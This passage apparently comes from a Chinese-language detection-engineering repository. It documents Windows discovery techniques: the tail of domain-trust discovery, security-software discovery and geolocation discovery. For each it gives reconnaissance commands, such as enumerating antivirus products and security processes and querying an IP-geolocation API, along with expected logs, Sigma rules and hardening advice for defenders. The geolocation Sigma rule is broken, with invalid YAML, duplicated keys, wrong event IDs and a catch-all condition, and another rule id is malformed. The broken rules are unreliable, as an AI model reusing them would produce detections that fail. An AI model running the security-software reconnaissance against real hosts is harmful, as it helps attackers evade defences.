建议\n\n1. **防御措施**：\n   - 限制工具执行**：限制普通用户对 `csvde.exe`、`ldifde.exe`、`nltest.exe` 的执行权限。\n   - **限制 PowerShell**：通过组策略限制 PowerShell 脚本执行（如 `Get-ADUser`）。\n   - **部署 EDR**：使用 EDR 工具监控异常 AD 查询行为。\n   - **访问控制**：配置域控制器，限制非授权用户查询 AD 数据。\n   - **网络限制**：禁用不必要的 LDAP 和 SMB 端口（389、445）对外开放。\n2. **检测优化**：\n   - 监控短时间内的高频 AD 查询（5 分钟内多次触发）。\n   - 结合上下文分析，例如异常用户、非常规时间段或未知父进程。\n   - 检测输出文件的创建（例如 `all.csv`、`user.txt`）。\n   - 监控 LDAP（端口 389）和 SMB（端口的 445）流量。\n   - 检测域外登录（事件 ID 4624，登录类型 3）以及 `IPC` 访问（事件 ID 5140）。\n3. **降低误报**：\n   - 排除管理员用于 AD 管理的合法操作（如 `csvde`、`AdFind`）。\n   - 配置白名单，过滤已知 IT 管理工具。\n   - 验证文件内容，确保与 AD 信息获取相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 `BloodHound`、`SharpHound`），建议监控未知可执行文件的运行。\n   - 检测异常 LDAP 查询或域控制器上的高频访问。\n   - 使用 SIEM 关联进程、文件和网络日志以增强检测能力。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1482  \n  <https://attack.mitre.org/techniques/T1482/>\n- Atomic Red Team - T1482  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1482/T1482.md>\n- 渗透基础——活动目录信息的获取2:Bypass AV  \n  <https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%962_Bypass-AV>\n"
  },
  {
    "path": "Windows/09发现/T1518-win-发现安全软件.md",
    "content": "# T1518-Win-发现安全软件\n\n## 描述\n\n攻击者通过安全软件发现（T1518）收集 Windows 系统中安装的安全相关软件及其版本信息，例如杀毒软件、端点检测与响应（EDR）、防火墙或安全监控工具，以规避防御机制、识别可利用漏洞或调整攻击手法。在 Windows 环境中，攻击者可能查询注册表（如 Internet Explorer 版本）、枚举已安装程序（通过 PowerShell 或 WMI）、检查运行服务（如 `sc query`）或检测安全进程（如 `MsMpEng.exe`）。这些信息可用于后续攻击，如命令执行（T1059）、特权提升（T1068）或防御规避（T1562）。本文档聚焦于 Windows 平台的安全软件发现检测与防御。\n\n## 测试案例\n\n### 环境\n- **操作系统**：Windows Server 2016 / Windows 10\n- **权限**：普通用户权限（部分命令需管理员权限）\n- **工具**：CMD、PowerShell、WMI\n- **环境**：独立主机或域环境\n\n### 测试案例 1：查询 Internet Explorer 浏览器版本\n**关联技术**：T1518（软件版本发现）  \n**说明**：  \n- 查询注册表以确定 Internet Explorer 版本。  \n- **权限**：普通用户。  \n**命令**：\n```dos\nreg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\" /v svcVersion\n```\n**输出示例**：\n```\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\n    svcVersion    REG_SZ    11.973.17763.0\n```\n**说明**：  \n- 攻击者可能查询浏览器版本以识别潜在漏洞。  \n- 关联 T1518：收集软件版本信息。\n\n### 测试案例 2：查询已安装程序\n**关联技术**：T1518（软件发现）  \n**说明**：  \n- 查询注册表以枚举已安装软件及其版本。  \n- **权限**：普通用户。  \n**命令**：\n```powershell\nGet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize\nGet-ItemProperty HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize\n```\n**输出示例**：\n```\nDisplayName        DisplayVersion Publisher                    InstallDate\n-----------        -------------- ---------                    -----------\nParallels Tools    17.1.1.51537   Parallels International GmbH 20220107\nUniversalForwarder 8.2.2.0        Splunk, Inc.                 20220107\n```\n**说明**：  \n- 枚举所有已安装程序，可能包括安全软件。  \n- 关联 T1518：识别安全相关软件。\n\n### 测试案例 3：使用 WMI 查询杀毒软件\n**关联技术**：T1518（安全软件发现）  \n**说明**：  \n- 使用 WMI 查询安装的杀毒软件。  \n- **权限**：普通用户（部分 WMI 类需管理员权限）。  \n**命令**：\n```powershell\nGet-CimInstance -Namespace root\\SecurityCenter2 -ClassName AntiVirusProduct | Select-Object displayName, productState, pathToSignedProductExe\n```\n**输出示例**：\n```\ndisplayName        productState pathToSignedProductExe\n-----------        ------------ ---------------------\nWindows Defender   397568       C:\\Program Files\\Windows Defender\\MsMpEng.exe\n```\n**说明**：  \n- 检测 Windows Defender 或其他杀毒软件。  \n- 关联 T1518：明确安全软件存在。\n\n### 测试案例 4：查询运行的安全服务\n**关联技术**：T1518（安全软件发现）  \n**说明**：  \n- 枚举运行的服务，识别安全相关服务。  \n- **权限**：普通用户。  \n**命令**：\n```dos\nnet start | findstr /i \"defender antivirus security\"\nsc query WinDefend\n```\n**输出示例**：\n```\nnet start:\n  Windows Defender Antivirus Service\n\nsc query WinDefend:\n  SERVICE_NAME: WinDefend\n  TYPE               : 10  WIN32_OWN_PROCESS\n  STATE              : 4  RUNNING\n  WIN32_EXIT_CODE    : 0  (0x0)\n```\n**说明**：  \n- 检测 Windows Defender 或其他安全服务。  \n- 关联 T1518：识别安全软件服务。\n\n### 测试案例 5：枚举安全相关进程\n**关联技术**：T1518（安全软件发现）  \n**说明**：  \n- 枚举运行进程，查找安全软件进程。  \n- **权限**：普通用户。  \n**命令**：\n```powershell\nGet-Process | Where-Object { $_.Name -match \"MsMpEng|Defender|CrowdStrike|McAfee\" } | Select-Object Name, Path\n```\n**输出示例**：\n```\nName      Path\n----      ----\nMsMpEng   C:\\Program Files\\Windows Defender\\MsMpEng.exe\n```\n**说明**：  \n- 检测 Windows Defender 或其他安全软件进程。  \n- 关联 T1518：确认安全软件运行状态。\n\n## 测试复现\n\n### 复现环境\n- **操作系统**：Windows Server 2016 / Windows 10\n- **权限**：普通用户权限（部分命令需管理员权限）\n- **工具**：CMD、PowerShell\n- **环境**：独立主机或域环境\n\n### 复现步骤\n1. **查询 Internet Explorer 版本**：\n   ```dos\n   reg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\" /v svcVersion > C:\\Temp\\ie_version.txt\n   ```\n   **预期输出**：\n   ```\n   HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\n       svcVersion    REG_SZ    11.973.17763.0\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\ie_version.txt`，确认包含版本信息。\n   - 安全日志：事件 ID 4688（`reg.exe`）。\n   - Sysmon：事件 ID 1（进程创建）、11（文件创建）、13（注册表查询）。\n\n2. **查询已安装程序**：\n   ```powershell\n   Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Export-Csv C:\\Temp\\software.csv\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\software.csv`，包含软件列表。\n   **验证**：\n   - 检查 `C:\\Temp\\software.csv`，确认包含软件信息。\n   - PowerShell 日志：事件 ID 4104（`Get-ItemProperty`）。\n   - Sysmon：事件 ID 1（`powershell.exe`）、11（文件创建）。\n\n3. **使用 WMI 查询杀毒软件**：\n   ```powershell\n   Get-CimInstance -Namespace root\\SecurityCenter2 -ClassName AntiVirusProduct | Select-Object displayName, productState | Out-File C:\\Temp\\antivirus.txt\n   ```\n   **预期输出**：\n   ```\n   displayName     : Windows Defender\n   productState    : 397568\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\antivirus.txt`，确认包含杀毒软件信息。\n   - PowerShell 日志：事件 ID 4104（`Get-CimInstance`）。\n   - Sysmon：事件 ID 1、11。\n\n4. **查询安全服务**：\n   ```dos\n   net start | findstr /i \"defender\" > C:\\Temp\\services.txt\n   ```\n   **预期输出**：\n   ```\n   Windows Defender Antivirus Service\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\services.txt`，确认包含服务信息。\n   - 安全日志：事件 ID 4688（`net.exe`）。\n   - Sysmon：事件 ID 1、11。\n\n5. **枚举安全进程**：\n   ```powershell\n   Get-Process | Where-Object { $_.Name -match \"MsMpEng\" } | Select-Object Name, Path | Out-File C:\\Temp\\processes.txt\n   ```\n   **预期输出**：\n   ```\n   Name      Path\n   ----      ----\n   MsMpEng   C:\\Program Files\\Windows Defender\\MsMpEng.exe\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\processes.txt`，确认包含进程信息。\n   - PowerShell 日志：事件 ID 4104（`Get-Process`）。\n   - Sysmon：事件 ID 1、11。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `reg.exe`、`powershell.exe`、`net.exe`、`sc.exe` 的执行。\n  - 事件 ID 4663：注册表访问，记录对 `HKLM\\Software\\Microsoft\\Internet Explorer` 或 `HKLM\\Software\\Uninstall` 的查询（需启用 `Audit Registry`）。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（如 `reg query`、`Get-CimInstance`）。\n  - 事件 ID 11：文件创建，记录输出文件（如 `software.csv`、`antivirus.txt`）。\n  - 事件 ID 13：注册表修改/查询，记录对 `Internet Explorer` 或 `Uninstall` 键的访问。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Get-ItemProperty`、`Get-CimInstance`、`Get-Process`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志，事件 ID 4688）。\n  - 启用 `Audit Registry`（安全日志，事件 ID 4663）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）、文件创建（事件 ID 11）、注册表事件（事件 ID 13）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - Windows Server 2016 需启用命令行审计以记录进程命令行参数。\n  - 日志输出可能因系统配置而异。\n\n## 测试留痕\n\n1. **进程相关**：\n   - **进程创建**：`reg.exe`、`powershell.exe`、`net.exe`、`sc.exe`。\n   - **父进程**：如 `cmd.exe` 或 `powershell.exe`。\n   - **命令行参数**：如 `reg query`、`Get-CimInstance`、`net start`、`Get-Process`。\n2. **文件相关**：\n   - **输出文件**：如 `C:\\Temp\\ie_version.txt`、`software.csv`、`antivirus.txt`、`services.txt`、`processes.txt`。\n3. **注册表相关**：\n   - **访问路径**：`HKLM\\Software\\Microsoft\\Internet Explorer`、`HKLM\\Software\\Uninstall`。\n   - **事件**：4663（安全日志）、13（Sysmon）。\n4. **隐藏手段**：\n   - 重命名工具（如 `reg.exe` 改为 `svc.exe`）。\n   - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n   - 删除输出文件（如 `del software.csv`）。\n   - 通过网络传输输出文件（如 FTP、HTTP）。\n\n## 检测规则/方法\n\n### Sigma 规则\n```yaml\ntitle: Windows 安全软件发现\nid: b9e8c7d6-0f3a-4b2c-a8d4-1c6f9b0e2d3g\ndescription: 检测通过 reg.exe、PowerShell、net.exe 或 sc.exe 枚举安全软件的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1518/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1518/T1518.md\ntags:\n  - attack.discovery\n  - attack.t1518\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688\n    NewProcessName|endswith:\n      - '\\reg.exe'\n      - '\\net.exe'\n      - '\\sc.exe'\n    ProcessCommandLine|contains:\n      - 'query'\n      - 'start'\n      - 'WinDefend'\n      - 'Internet Explorer'\n  selection_powershell:\n    EventID: 4104\n    ScriptBlockText|contains:\n      - 'Get-ItemProperty'\n      - 'Get-CimInstance'\n      - 'Get-Process'\n      - 'AntiVirusProduct'\n      - 'MsMpEng'\n  selection_sysmon:\n    EventID: 1\n    Image|endswith:\n      - '\\reg.exe'\n      - '\\powershell.exe'\n      - '\\net.exe'\n      - '\\sc.exe'\n    CommandLine|contains:\n      - 'query'\n      - 'Get-ItemProperty'\n      - 'Get-CimInstance'\n      - 'Get-Process'\n      - 'start'\n      - 'WinDefend'\n  selection_file:\n    EventID: 11\n    TargetFilename|endswith:\n      - '.txt'\n      - '.csv'\n    TargetFilename|contains:\n      - 'software'\n      - 'antivirus'\n      - 'services'\n      - 'processes'\n  selection_registry:\n    EventID: 13\n    TargetObject|contains:\n      - '\\Software\\Microsoft\\Internet Explorer'\n      - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall'\n  condition: selection_cmd or selection_powershell or selection_sysmon or selection_file or selection_registry\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\n  - TargetObject\nlevel: medium\nfalsepositives:\n  - 管理员运行软件或服务检查（如 reg query、Get-CimInstance）。\n  - 合法 IT 管理工具触发类似行为。\n```\n\n### 检测方法\n1. **进程监控**：\n   - 监控 `reg.exe`、`powershell.exe`、`net.exe`、`sc.exe` 的进程创建（事件 ID 4688、1）。\n   - 检查命令行参数，如 `query`、`Get-CimInstance`、`start`。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-ItemProperty`、`Get-CimInstance`、`Get-Process`。\n3. **文件监控**：\n   - 检测 CSV 或 TXT 文件创建（事件 ID 11），文件名包含 `software`、`antivirus`、`services`。\n4. **注册表监控**：\n   - 监控对 `HKLM\\Software\\Uninstall` 和 `HKLM\\Software\\Internet Explorer` 的访问（事件 ID 4663、13）。\n5. **行为分析**：\n   - 检测短时间内高频注册表查询或服务枚举（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户、非常规时间段或未知父进程。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对 `reg.exe` 和 `sc.exe` 的执行权限。\n   - 启用组策略，限制 PowerShell 脚本执行（如 `Get-CimInstance`）。\n   - 部署 EDR 工具，检测异常软件枚举行为。\n   - 配置注册表审计，监控对 `Uninstall` 或 `Internet Explorer` 键的访问。\n   - 定期更新安全软件，修复已知漏洞。\n2. **检测优化**：\n   - 监控短时间内高频注册表或服务查询（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户、非常规时间段或未知父进程。\n   - 检测输出文件创建（如 `software.csv`、`antivirus.txt`）。\n   - 监控 PowerShell 执行与安全相关的命令（如 `Get-CimInstance AntiVirusProduct`）。\n3. **降低误报**：\n   - 排除管理员用于系统维护的合法查询（如 `reg query`、`net start`）。\n   - 配置白名单，过滤已知 IT 管理工具。\n   - 验证文件内容，确保与安全软件发现相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 `Sysinternals`、`Procmon`）或 WMI 调用，建议监控未知可执行文件的运行。\n   - 检测异常进程（如非微软签名的 `powershell.exe`）。\n   - 使用 SIEM 关联进程、文件和注册表日志。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1518  \n  <https://attack.mitre.org/techniques/T1518/>\n- Atomic Red Team - T1518 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1518/T1518.md>\n- 注册表审计配置  \n  <https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-registry>"
  },
  {
    "path": "Windows/09发现/T1614.002-Win-地理位置发现.md",
    "content": "# T1614.002-win-地理位置发现\n\n## 描述\n\n攻击者通过地理位置发现（T1614.002）收集 Windows 系统的地理或网络位置信息，例如时区、IP 地址归属地或系统语言设置，以获取目标环境的情报，为后续攻击（如定向钓鱼 T1566、鱼叉式钓鱼 T1598 或物理渗透）提供支持。在 Windows 环境中，攻击者可能使用 `tzutil` 或 `w32tm` 查询时区，通过 PowerShell（如 `Get-TimeZone`）获取时区信息，通过公开 API（如 MaxMind GeoIP）解析 IP 归属地，或通过 `Get-WinSystemLocale` 检测语言设置。这些信息可帮助攻击者定制攻击策略或识别目标位置。本文档聚焦于 Windows 平台的地理位置发现检测与防御。\n\n## 测试案例\n\n### 环境\n- **操作系统**：Windows Server 2016 / Windows 10\n- **权限**：普通用户权限\n- **工具**：CMD、PowerShell\n- **环境**：独立主机或域环境，需联网（IP 归属地查询）\n\n### 测试案例 1：查询系统时区\n**关联技术**：T1614.002（地理位置发现）  \n**说明**：  \n- 使用内置工具查询系统时区。  \n- **权限**：普通用户。  \n**命令**：\n```dos\n:: 使用 tzutil 查询时区\ntzutil /g\n:: 使用 w32tm 查询时区\nw32tm /tz\n:: 使用 reg query 查询注册表时区\nreg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation\" /v StandardName\n:: 使用 PowerShell 查询时区\nGet-TimeZone\n```\n**输出示例**：\n```\ntzutil /g:\nNorth Asia East Standard Time\n\nw32tm /tz:\n时区: 当前:TIME_ZONE_ID_UNKNOWN 偏量: -480分 (UTC=本地时间+Bias)\n  [标准名称:\"俄罗斯 TZ 7 标准时间\" 偏量:0分 日期:(未指定)]\n  [夏时制名称:\"俄罗斯 TZ 7 夏令时\" 偏量:-60分 日期:(未指定)]\n\nreg query:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation\n    StandardName    REG_SZ    @tzres.dll,-1872\n\nGet-TimeZone:\nId                         : North Asia East Standard Time\nDisplayName                : (UTC+08:00) Irkutsk\nStandardName               : Russia TZ 7 Standard Time\nDaylightName               : Russia TZ 7 Daylight Time\nBaseUtcOffset              : 08:00:00\nSupportsDaylightSavingTime : True\n```\n**说明**：  \n- 获取系统时区，推测地理位置。  \n- 关联 T1614.002：收集时区信息。\n\n### 测试案例 2：查询 IP 地址归属地\n**关联技术**：T1614.002（地理位置发现）  \n**说明**：  \n- 通过公开 GeoIP API 查询公网 IP 归属地。  \n- **权限**：普通用户，需联网。  \n**命令**：\n```powershell\nInvoke-WebRequest -Uri \"http://ip-api.com/json\" | ConvertFrom-Json | Select-Object country, regionName, city, lat, lon\n```\n**输出示例**：\n```\ncountry    : China\nregionName : Beijing\ncity       : Beijing\nlat        : 39.9042\nlon        : 116.4074\n```\n**说明**：  \n- 获取 IP 对应的地理位置。  \n- 关联 T1614.002：确定目标网络位置。\n\n### 测试案例 3：查询系统语言设置\n**关联技术**：T1614.002（地理位置发现）  \n**说明**：  \n- 查询系统语言设置，推测用户区域。  \n- **权限**：普通用户。  \n**命令**：\n```dos\n:: 使用 systeminfo 查询语言\nsysteminfo | findstr /C:\"System Locale\"\n:: 使用 PowerShell 查询语言\nGet-WinSystemLocale | Select-Object Name, DisplayName\n```\n**输出示例**：\n```\nsysteminfo:\nSystem Locale:             zh-cn;Chinese (Simplified, China)\n\nGet-WinSystemLocale:\nName       DisplayName\n----       -----------\nzh-CN      Chinese (Simplified, China)\n```\n**说明**：  \n- 系统语言设置可推测用户地理区域。  \n- 关联 T1614.002：收集语言信息。\n\n## 测试复现\n\n### 复现环境\n- **操作系统**：Windows Server 2016 / Windows 10\n- **权限**：普通用户权限\n- **工具**：CMD、PowerShell\n- **环境**：独立主机或域环境，需联网（IP 归属地查询）\n\n### 复现步骤\n1. **查询系统时区**：\n   ```dos\n   tzutil /g > C:\\Temp\\timezone.txt\n   w32tm /tz >> C:\\Temp\\timezone.txt\n   reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation\" /v StandardName >> C:\\Temp\\timezone.txt\n   powershell -Command \"Get-TimeZone | Select-Object Id, DisplayName | Out-File -Append C:\\Temp\\timezone.txt\"\n   ```\n   **预期输出**（`C:\\Temp\\timezone.txt`）：\n   ```\n   North Asia East Standard Time\n   时区: 当前:TIME_ZONE_ID_UNKNOWN 偏量: -480分 (UTC=本地时间+Bias)\n     [标准名称:\"俄罗斯 TZ 7 标准时间\" 偏量:0分 日期:(未指定)]\n     [夏时制名称:\"俄罗斯 TZ 7 夏令时\" 偏量:-60分 日期:(未指定)]\n   HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation\n       StandardName    REG_SZ    @tzres.dll,-1872\n   Id                         : North Asia East Standard Time\n   DisplayName                : (UTC+08:00) Irkutsk\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\timezone.txt`，确认包含时区信息。\n   - 安全日志：事件 ID 4688（`tzutil.exe`、`w32tm.exe`、`reg.exe`、`powershell.exe`）。\n   - Sysmon：事件 ID 1（进程创建）、11（文件创建）、13（注册表查询）。\n   - PowerShell 日志：事件 ID 4104（`Get-TimeZone`）。\n\n2. **查询 IP 地址归属地**：\n   ```powershell\n   Invoke-WebRequest -Uri \"http://ip-api.com/json\" | ConvertFrom-Json | Select-Object country, regionName, city, lat, lon | Out-File C:\\Temp\\geoip.txt\n   ```\n   **预期输出**（`C:\\Temp\\geoip.txt`）：\n   ```\n   country    : China\n   regionName : Beijing\n   city       : Beijing\n   lat        : 39.9042\n   lon        : 116.4074\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\geoip.txt`，确认包含地理位置信息。\n   - 安全日志：事件 ID 4688（`powershell.exe`）、5156（端口 80）。\n   - Sysmon：事件 ID 1、3（网络连接）、11。\n   - PowerShell 日志：事件 ID 4104（`Invoke-WebRequest`）。\n\n3. **查询系统语言设置**：\n   ```dos\n   systeminfo | findstr /C:\"System Locale\" > C:\\Temp\\locale.txt\n   powershell -Command \"Get-WinSystemLocale | Select-Object Name, DisplayName | Out-File -Append C:\\Temp\\locale.txt\"\n   ```\n   **预期输出**（`C:\\Temp\\locale.txt`）：\n   ```\n   System Locale:             zh-cn;Chinese (Simplified, China)\n   Name       DisplayName\n   ----       -----------\n   zh-CN      Chinese (Simplified, China)\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\locale.txt`，确认包含语言信息。\n   - 安全日志：事件 ID 4688（`systeminfo.exe`、`powershell.exe`）。\n   - Sysmon：事件 ID 1、11。\n   - PowerShell 日志：事件 ID 4104（`Get-WinSystemLocale`）。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `tzutil.exe`、`w32tm.exe`、`reg.exe`、`powershell.exe`、`systeminfo.exe` 的执行。\n  - 事件 ID 4663：注册表访问，记录对 `HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation` 的查询（需启用 `Audit Registry`）。\n  - 事件 ID 5156：Windows 筛选平台允许连接，记录 HTTP 连接（端口 80，IP 归属地查询）。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（如 `tzutil /g`、`Invoke-WebRequest`）。\n  - 事件 ID 3：网络连接，记录 GeoIP API 的 HTTP 请求（端口 80）。\n  - 事件 ID 11：文件创建，记录输出文件（如 `timezone.txt`）。\n  - 事件 ID 13：注册表修改/查询，记录对 `TimeZoneInformation` 键的访问。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Get-TimeZone`、`Invoke-WebRequest`、`Get-WinSystemLocale`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志，事件 ID 4688）。\n  - 启用 `Audit Registry`（安全日志，事件 ID 4663）。\n  - 启用 `Audit Network Connections`（安全日志，事件 ID 5156）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）、网络连接（事件 ID 3）、文件创建（事件 ID 11）、注册表事件（事件 ID 13）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - Windows Server 2016 需启用命令行审计以记录进程命令行参数。\n  - 日志输出可能因系统配置而异。\n\n## 测试留痕\n\n1. **进程相关**：\n   - **进程创建**：`tzutil.exe`、`w32tm.exe`、`reg.exe`、`powershell.exe`、`systeminfo.exe`。\n   - **父进程**：如 `cmd.exe` 或 `powershell.exe`。\n   - **命令行参数**：如 `tzutil /g`、`w32tm /tz`、`Invoke-WebRequest`、`Get-WinSystemLocale`。\n2. **文件相关**：\n   - **输出文件**：如 `C:\\Temp\\timezone.txt`、`geoip.txt`、`locale.txt`。\n3. **注册表相关**：\n   - **访问路径**：`HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation`。\n   - **事件**：4663（安全日志）、13（Sysmon）。\n4. **网络相关**：\n   - **HTTP 连接**：目标端口 80，访问 GeoIP API（如 `ip-api.com`）。\n   - **事件**：5156（安全日志）、3（Sysmon）。\n5. **隐藏手段**：\n   - 重命名工具（如 `tzutil.exe` 改为 `svc.exe`）。\n   - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n   - 删除输出文件（如 `del geoip.txt`）。\n   - 通过网络传输输出文件（如 FTP、HTTP）。\n\n## 检测规则/方法\n\n### Sigma 规则\n```yaml\ntitle: Windows 地理位置发现\nid: 8d7f6e5c-2b1a-4c9d-b3e4-0f9a8c7b6d5e\ndescription: 检测通过 tzutil、w32tm、reg、PowerShell 或 systeminfo 查询系统时区、IP 归属地或语言设置的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1614/002\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1614/T1614.md\ntags:\n  - attack.discovery\n  - attack.t1614.002\nstatus: experimental\nauthor: 0x783kb\ndate: 2025/05/25\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688\n    NewProcessName|endswith:\n      - '\\tzutil.exe'\n      - '\\w32tm.exe'\n      - '\\reg.exe'\n      - '\\systeminfo.exe'\n    ProcessCommandLine:\n      - contains: '/g'\n      - contains: '/tz'\n      - contains: 'TimeZoneInformation'\n      - contains: 'System Locale'\n  selection_powershell:\n    EventID: 4104\n    ScriptBlockText:\n      - contains: 'Get-AD'\n      - Contains: 'Invoke-WebRequest'\n      - contains: 'ip-api.com'\n      - contains: 'Get-WinSystemLocale'\n  selection_sysmon:\n    EventID: - 1\n    Image:\n      - ends with: '\\tzutil.exe'\n      - ends with: '\\windows'\n      - ends with: '\\reg.exe'\n      - ends with: '\\powershell.exe'\n      - ends with: '\\systeminfo.exe'\n    CommandLine:\n      - contains: '/g'\n      - contains: '/tz'\n      - contains: 'TimeZoneInformation'\n      - contains: 'Invoke-WebRequest'\n      - contains: 'Get-TimeZone'\n      - contains: 'Get-WinSystemLocale'\n      - contains: 'System Locale'\n  selection_file:\n    EventID: 11\n    TargetFilename:\n      - ends with: '.txt'\n      - ends with: '.csv'\n    TargetFilename:\n      - contains: 'timezone'\n      - contains: 'geo'\n      - contains: 'locale'\n  selection_network:\n    EventID: 4624\n    DestinationPort:\n      - 80\n    Application:\n      - contains: 'powershell\n  selection_powershell:\n    EventID: 4104\n    ScriptBlockText:\n      - contains: 'Get'\n  condition: all\n  timeframe: 15m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\n  - TargetObject\n  - DestinationPort\nlevel: medium\nfalsepositives:\n  - 管理员运行时区或语言检查（如 tzutil、Get-WinSystemLocale）。\n  - 合法 IT 管理工具或脚本（如 SCCM、Ansible）触发类似行为。\n  - 系统更新或网络诊断工具访问 GeoIP API。\n```\n\n### 检测方法\n1. **进程监控**：\n   - 监控 `tzutil.exe`、`w32tm.exe`、`reg.exe`、`powershell.exe`、`systeminfo.exe` 的进程创建（事件 ID 4688、1）。\n   - 检查命令行参数，如 `/g`、`/tz`、`Invoke-WebRequest`、`Get-WinSystemLocale`。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-TimeZone`、`Invoke-WebRequest`、`Get-WinSystemLocale`。\n3. **文件监控**：\n   - 检测 TXT 或 CSV 文件创建（事件 ID 11），文件名包含 `timezone`、`geoip`、`locale`。\n4. **网络监控**：\n   - 检测 HTTP 连接（端口 80），记录对 GeoIP` API 的请求（如 `ip-api`）。\n5. **注册表监控**：\n   - 监控对 `HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation` 的访问（事件 ID 4663、13）。\n6. **行为分析**：\n   - 检测短时间内高频时区或 IP 查询（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户、非常规时间段或未知父进程。\n\n## 建议\n\n1. **防御措施**：\n   - **限制工具执行**：限制普通用户对 `tzutil.exe`、`w32tm.exe`、`reg.exe` 的执行权限。\n   - **限制 PowerShell**：通过组策略限制 PowerShell 脚本执行（如 `Invoke-WebRequest`、`Get-TimeZone`）。\n   - **部署 EDR**：部署 EDR 工具，监控异常时区或 IP 查询行为。\n   - **网络限制**：配置防火墙，限制对未知 GeoIP API 的 HTTP 请求（端口 80）。\n   - **系统审查**：定期审查系统语言和时区设置，防止未授权更改。\n2. **检测优化**：\n   - 监控短时间内高频的时区或语言查询（5分钟内多次触发）。\n   - 结合上下文分析，例如异常用户、非常规时间段或未知的父进程。\n   - 检测文件的创建（例如 `timezone.txt` 或 `geoip.txt`）。\n   - 监控 HTTP 流量，检测对 GeoIP API 的访问（如 `ip-api.com`）。\n3. **降低误报**：\n   - 排除管理员用于系统管理的合法操作（例如 `tzutil /g`，或 `Get-WinSystemLocale`）。\n   - 配置白名单，过滤已知的 IT 管理工具（如 SCCM、Ansible）。\n   - 验证网络请求目标，确保与 GeoIP 服务相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 `curl`，或 `wget`）或定制脚本，建议监控未知可执行文件的运行。\n   - 检测异常的 HTTP 请求或非标准 PowerShell 进程。\n   - 使用 SIEM 关联进程、文件、网络和注册表日志以增强检测能力。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1614-002  \n  <https://attack.mitre.org/technical/T1614/002/>\n- Atomic Red Team - T1614 测试用例  \n  